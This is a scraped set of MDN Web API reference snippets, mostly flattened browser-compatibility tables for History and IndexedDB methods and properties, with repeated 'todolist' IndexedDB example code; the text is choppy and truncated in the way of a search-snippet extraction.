msung internetbackchrome full support yesedge full support 12firefox full support yesie full support 10opera full support yessafari full support ...
... yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessa
msung internet android full support yeslegend full support full support ...
History.forward() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetforwardchrome full support yesedge full support 12firefox full support yesie full support 10opera full support yessafari full support ...
... yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessa
msung internet android full support yeslegend full support full support ...
History.scrollRestoration - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetscrollrestorationchrome full support 46edge full support 79firefox full support 46ie no support noopera full support 33safari full support ...
... yeswebview android no support nochrome android full support 46firefox android full support yesopera android full support yessafari ios full support yessa
msung internet android full support 5.0legend full support full support no support no support ...
IDBCursor.advance() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetadvancechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBCursor.continue() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetcontinuechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBCursor.delete() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetdeletechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBCursor.primaryKey - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetprimarykeychrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBCursor.request - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetrequestchrome full support 76edge full support 79firefox full support 77ie no support noopera full support 63safari ?
... sa
msung internet android full support 12.0legend full support full support no support no support compatibility unknown compatibility unknown ...
IDBCursor.update() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetupdatechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBCursorWithValue.value - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetvaluechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBDatabase: abort event - Web APIs
// open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data ite
ms the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { const d...
...(); }; the same example, but assigning the event handler to the onabort property: // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data ite
ms the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { const d...
IDBDatabase.close() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetclosechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 7webview android full support yeschrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5legend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBDatabase: close event - Web APIs
ror examples this example opens a database and listens for the close event: // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data ite
ms the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { const ...
...; }; the same example, using the onclose property instead of addeventlistener(): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data ite
ms the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { const ...
IDBDatabase.deleteObjectStore() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetdeleteobjectstorechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 7webview android full support yeschrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5legend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBDatabase: error event - Web APIs
this will occur if, for example, a record with the given tasktitle already exists): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data ite
ms the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { const n...
...); }; the same example, using the onerror property instead of addeventlistener(): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data ite
ms the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { const n...
IDBDatabase.onclose - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetonclosechrome full support 31notes full support 31notes notes approxedge full support ≤18firefox full support 50ie ?
... 10.1webview android full support yeschrome android full support 31firefox android full support 50opera android full support yessafari ios full support 10.3sa
msung internet android full support 2.0legend full support full support compatibility unknown compatibility unknownsee implementation notes.see implementation notes.
IDBDatabase.version - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetversionchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 7webview android full support yeschrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5legend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBDatabase: versionchange event - Web APIs
s this example opens a database and, on success, adds a listener to versionchange: // open the database const dbopenrequest = window.indexeddb.open('nonexistent', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data ite
ms the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.addeventlistener('success', event ...
...'); }); }); the same example, using the onversionchange event handler property: // open the database const dbopenrequest = window.indexeddb.open('nonexistent', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data ite
ms the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = event => { const db ...
IDBFactory.cmp() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetcmpchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
...— ?prefixed prefixed implemented with the vendor prefix: webkitchrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5legend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
databases - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetdatabases experimentalchrome full support 71edge full support 79firefox no support nonotes no support nonotes notes see bug 934640.ie no support noopera ...
... 71chrome android full support 71firefox android no support nonotes no support nonotes notes see bug 934640.opera android full support yessafari ios no support nosa
msung internet android full support 10.0legend full support full support no support no supportexperimental.
IDBFactorySync - Web APIs
method overview idbdatabasesync open (in do
mstring name, in do
mstring description, in optional boolean modifydatabase) raises (idbdatabaseexception); methods open() opens and returns a connection to a database.
... idbdatabasesync open ( in do
mstring name, in do
mstring description ) raises (idbdatabaseexception); parameters name the name for the database.
IDBIndex.count() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetcountchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
...— ?prefixed prefixed implemented with the vendor prefix: webkitchrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5legend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBIndex.get() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetgetchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
...— ?prefixed prefixed implemented with the vendor prefix: webkitchrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5legend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBIndex.getKey() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetgetkeychrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
...— ?prefixed prefixed implemented with the vendor prefix: webkitchrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5legend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBIndex.keyPath - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetkeypathchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
...— ?prefixed prefixed implemented with the vendor prefix: webkitchrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5legend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBIndex.multiEntry - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetmultientrychrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
...— ?prefixed prefixed implemented with the vendor prefix: webkitchrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5legend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBIndex.openCursor() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetopencursorchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
...— ?prefixed prefixed implemented with the vendor prefix: webkitchrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5legend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBIndex.openKeyCursor() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetopenkeycursorchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
...— ?prefixed prefixed implemented with the vendor prefix: webkitchrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5legend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBIndex.unique - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetuniquechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
...— ?prefixed prefixed implemented with the vendor prefix: webkitchrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5legend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBKeyRange.bound() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetboundchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBKeyRange.includes() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetincludeschrome full support 52edge full support ≤18firefox full support 47ie ?
... 10.1webview android full support 52chrome android full support 52firefox android full support yesopera android full support 41safari ios full support 10.3sa
msung internet android full support 6.0legend full support full support compatibility unknown compatibility unknown ...
IDBKeyRange.lower - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetlowerchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBKeyRange.lowerBound() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetlowerboundchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBKeyRange.lowerOpen - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetloweropenchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBKeyRange.only() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetonlychrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBKeyRange.upper - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetupperchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBKeyRange.upperBound() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetupperboundchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBKeyRange.upperOpen - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetupperopenchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBObjectStore.clear() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetclearchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitlegend full support full support partial sup...
IDBObjectStore.count() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetcountchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitlegend full support full support partial sup...
IDBObjectStore.delete() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetdeletechrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitlegend full support full support partial sup...
IDBObjectStore.get() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetgetchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitlegend full support full support partial sup...
IDBObjectStore.getKey() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetgetkeychrome full support 48edge full support ≤79firefox full support 51ie ?
... 10.1webview android full support 48chrome android full support 48firefox android full support 58opera android full support 43safari ios full support 10.3sa
msung internet android full support 5.0legend full support full support compatibility unknown compatibility unknown ...
IDBObjectStore.index() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetindexchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitlegend full support full support partial sup...
IDBObjectStore.openCursor() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetopencursorchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitlegend full support full support partial sup...
IDBObjectStore.put() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetputchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitlegend full support full support partial sup...
IDBOpenDBRequest: blocked event - Web APIs
tlistener(): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data ite
ms the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { // let'...
...ed property: // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data ite
ms the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { // let'...
IDBOpenDBRequest.onblocked - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetonblockedchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitlegend full support full support partial sup...
IDBOpenDBRequest.onupgradeneeded - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetonupgradeneededchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitlegend full support full support partial sup...
IDBOpenDBRequest: upgradeneeded event - Web APIs
// open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.addeventlistener('upgradeneeded', event => { const db = event.target.result; console.log(`upgrading to version ${db.version}`); // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data ite
ms the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }); this is the same example, but uses the onupgrad...
... // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; console.log(`upgrading to version ${db.version}`); // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data ite
ms the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; ...
IDBRequest: error event - Web APIs
// open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.addeventlistener('upgradeneeded', event => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data ite
ms the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }); dbopenrequest.addeventlistener('success', event...
...entlistener(): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data ite
ms the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = event => { const db ...
IDBRequest.onerror - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetonerrorchrome full support 24 full support 24 full support 23prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 1...
... 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8sa
